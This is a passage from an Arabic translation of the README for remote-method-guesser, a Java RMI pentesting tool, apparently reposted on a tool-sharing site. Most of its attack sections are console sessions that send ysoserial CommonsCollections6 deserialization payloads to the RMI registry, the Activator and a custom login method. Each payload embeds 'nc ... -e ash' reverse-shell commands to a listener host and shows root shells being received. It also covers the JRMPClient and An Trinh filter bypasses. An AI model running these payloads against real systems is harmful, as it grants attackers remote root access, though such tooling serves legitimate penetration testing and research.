* *سجل RMI*
* *DGC*
* *Activator*
* *RemoteObjects* المحددة من قبل المستخدم (*على مستوى التطبيق*)


##### مكونات RMI المعروفة

بينما تطبق *خوادم RMI الحديثة* *مرشحات إلغاء التسلسل* على *مكونات RMI المعروفة* هذه (*JEP290*)، قد تظل الخوادم القديمة عرضة لهجمات *إلغاء التسلسل*. يسمح *remote-method-guesser* بالتحقق من ذلك باستخدام الإجراء ``serial``، الذي يمكنه تنفيذ هجمات إلغاء التسلسل على *Activator*، أو *جامع القمامة الموزع* (*DGC*) أو *سجل RMI*.```console
[qtc@devbox ~]$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --component reg
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI Registry endpoint...
[+]
[+] 	Caught ClassCastException during deserialization attack.
[+] 	Deserialization attack was probably successful :)

[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:46209.
id
uid=0(root) gid=0(root) groups=0(root)

في حالة سجل RMI، يمكن تجاوز مرشحات إلغاء التسلسل باستخدام أدوات تجاوز JRMPClient أو An Trinh. تنشئ هذه الأدوات قناة RMI صادرة لم تعد تطبق مرشحات إلغاء التسلسل. في هذه القناة، يمكن تطبيق هجمات إلغاء التسلسل كالمعتاد، ولكن تم تصحيح كلا التجاوزين في أحدث إصدارات Java RMI.```console [qtc@devbox ~]$ rmg serial 172.17.0.2 9010 AnTrinh 172.17.0.1:4444 --component reg [+] Attempting deserialization attack on RMI Registry endpoint... [+] [+] Caught javax.management.BadAttributeValueExpException during deserialization attack. [+] This could be caused by your gadget an the attack probably worked anyway. [+] If it did not work, you can retry with --stack-trace to see the details.

[qtc@devbox ~]$ rmg listen 172.17.0.1 4444 CommonsCollections6 'nc 172.17.0.1 4445 -e ash' [+] Creating ysoserial payload... done. [+] Creating a JRMPListener on 172.17.0.1:4444. [+] Handing off to ysoserial... Have connection from /172.17.0.2:55470 Reading message... Sending return with payload for obj [0:0:0, 123] Closing connection

[qtc@devbox ~]$ nc -vlp 4445 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4445 Ncat: Listening on 0.0.0.0:4445 Ncat: Connection from 172.17.0.2. Ncat: Connection from 172.17.0.2:45429. id uid=0(root) gid=0(root) groups=0(root)

root@kitploit:~
أثناء إجراء ``enum`` الخاص به، يُعلمك *remote-method-guesser* ما إذا كان *Activator* موجودًا على *RMI endpoint* (مكوِّن *RMI* قديم).
لا ينفذ التطبيق الافتراضي لنظام *Activation system* أي مرشحات لإزالة التسلسل من أجل *Activator RemoteObject*. لذلك،
يجب أن تعمل هجمات إزالة التسلسل على نقطة نهاية *Activator* دائمًا، حتى على أحدث إصدارات *Java*.```console
[qtc@devbox ~]$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --component act
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on Activation endpoint...
[+]
[+] 	Caught IllegalArgumentException during deserialization attack.
[+] 	Deserialization attack was probably successful :)

[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:44673.
id
uid=0(root) gid=0(root) groups=0(root)
مستوى التطبيق

بينما تحمي تطبيقات Java RMI الحديثة مكونات RMI المعروفة جيدًا باستخدام مرشحات إلغاء التسلسل بشكل افتراضي، فإن الكائنات البعيدة المخصصة (RemoteObjects) (أي تطبيقات RMI الفعلية) عادةً ما تكون غير محمية. لذلك، يمكن استخدام الطرق البعيدة التي لا تستخدم فقط أنواعًا بدائية ضمن وسائطها لشن هجمات إلغاء التسلسل. يشرح منشور المدونة هذا بقلم Hans-Martin Münch هذه المشكلة بمزيد من التفصيل. يمكن استخدام remote-method-guesser للتحقق بسهولة من وجود مثل هذه الثغرات. على سبيل المثال، يمكننا استخدام طريقة String login(java.util.HashMap dummy1) في الخادم التجريبي لـ remote-method-guesser لتنفيذ هجوم إلغاء تسلسل:```console [qtc@devbox ~]$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --signature 'String login(java.util.HashMap dummy1)' --bound-name legacy-service [+] Creating ysoserial payload... done. [+] [+] Attempting deserialization attack on RMI endpoint... [+] [+] Using non primitive argument type java.util.HashMap on position 0 [+] Specified method signature is String login(java.util.HashMap dummy1) [+] [+] Caught ClassNotFoundException during deserialization attack. [+] Server attempted to deserialize dummy class c0ba245a659945bb93a49a3ab4b1e430. [+] Deserialization attack probably worked :)

[qtc@devbox ~]$ nc -vlp 4444 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 172.17.0.2. Ncat: Connection from 172.17.0.2:35377. id uid=0(root) gid=0(root) groups=0(root)

root@kitploit:~
### المزيد من الميزات

*remote-method-guesser* يتضمن العديد من الميزات التي لم يتم شرحها داخل ملف *README.md* هذا. بعض
منها مذكور أدناه:

* يمكن استخدام جميع العمليات تقريبًا مع خيار ``--ssrf`` لإنشاء حمولة *SSRF* للعملية
  المقابلة.
* إذا حصلت على مخرجات ثنائية من خادم *RMI* (مثلًا بعد هجوم *SSRF*)، يمكنك إدخالها في *remote-method-guesser*
  باستخدام خيار ``--ssrf-response``. يقوم هذا بتحليل مخرجات الخادم كما لو تم الحصول عليها بواسطة العملية المحددة.
* يمكن توسيع *remote-method-guesser* باستخدام *نظام الإضافات* الخاص به. يمكن استخدام أربع واجهات (``IPayloadProvider``، ``IResponseHandler``،
  ``IArgumentProvider`` و ``ISocketFactoryProvider``) لتكييف *remote-method-guesser* مع سيناريوهات استخدام
  أكثر تعقيدًا.
* أثناء إجراء ``guess``، يمكنك استخدام خيار ``--create-samples`` لإنشاء كود *Java* يمكن استخدامه
  لاستدعاء الطرق التي تم تخمينها بنجاح.

يمكن العثور على مزيد من المعلومات حول هذه الميزات داخل [مجلد التوثيق](https://github.com/qtc-de/remote-method-guesser/blob/HEAD/docs).


### صورة Docker

----

منذ الإصدار `v4.4.0`، أصبح *remote-method-guesser* متاحًا أيضًا كصورة docker ويمكن سحبها من
[سجل حاويات GitHub](https://github.com/qtc-de/remote-method-guesser/pkgs/container/remote-method-guesser%2Frmg).
لكل إصدار، هناك إصدار *عادي* وإصدار *خفيف* متاحان. كلاهما يوفر نسخة كاملة عاملة من
*remote-method-guesser*، ولكن الإصدار *العادي* فقط هو الذي يأتي مع [ysoserial](https://github.com/frohoff/ysoserial)
مضمنًا، مما يؤدي إلى حجم صورة أكبر:

* `docker pull ghcr.io/qtc-de/remote-method-guesser/rmg:4.4.0` - `121MB`
* `docker pull ghcr.io/qtc-de/remote-method-guesser/rmg:4.4.0-slim` - `61.9MB`

يمكنك أيضًا بناء الحاوية بنفسك عن طريق تشغيل الأوامر التالية:```console
[user@host ~]$ git clone https://github.com/qtc-de/remote-method-guesser
[user@host ~]$ cd remote-method-guesser && docker build -t rmg .

شكر وتقدير


تأثرت أداة remote-method-guesser بشكل كبير بمقالات المدونة لكل من Hans-Martin Münch و Jake Miller. علاوة على ذلك، تم نسخ قائمة كلمات rmiscout بوضوح من مشروع rmiscout (كما يمكنك ملاحظة ذلك من اتفاقية الترخيص المختلفة). شكرًا Jake على قائمة الكلمات الرائعة هذه من الطرق البعيدة التي تم جمعها من مستودعات GitHub المختلفة.

حقوق النشر 2023، Tobias Neitzel والمساهمون في remote-method-guesser.

تنزيل الأداة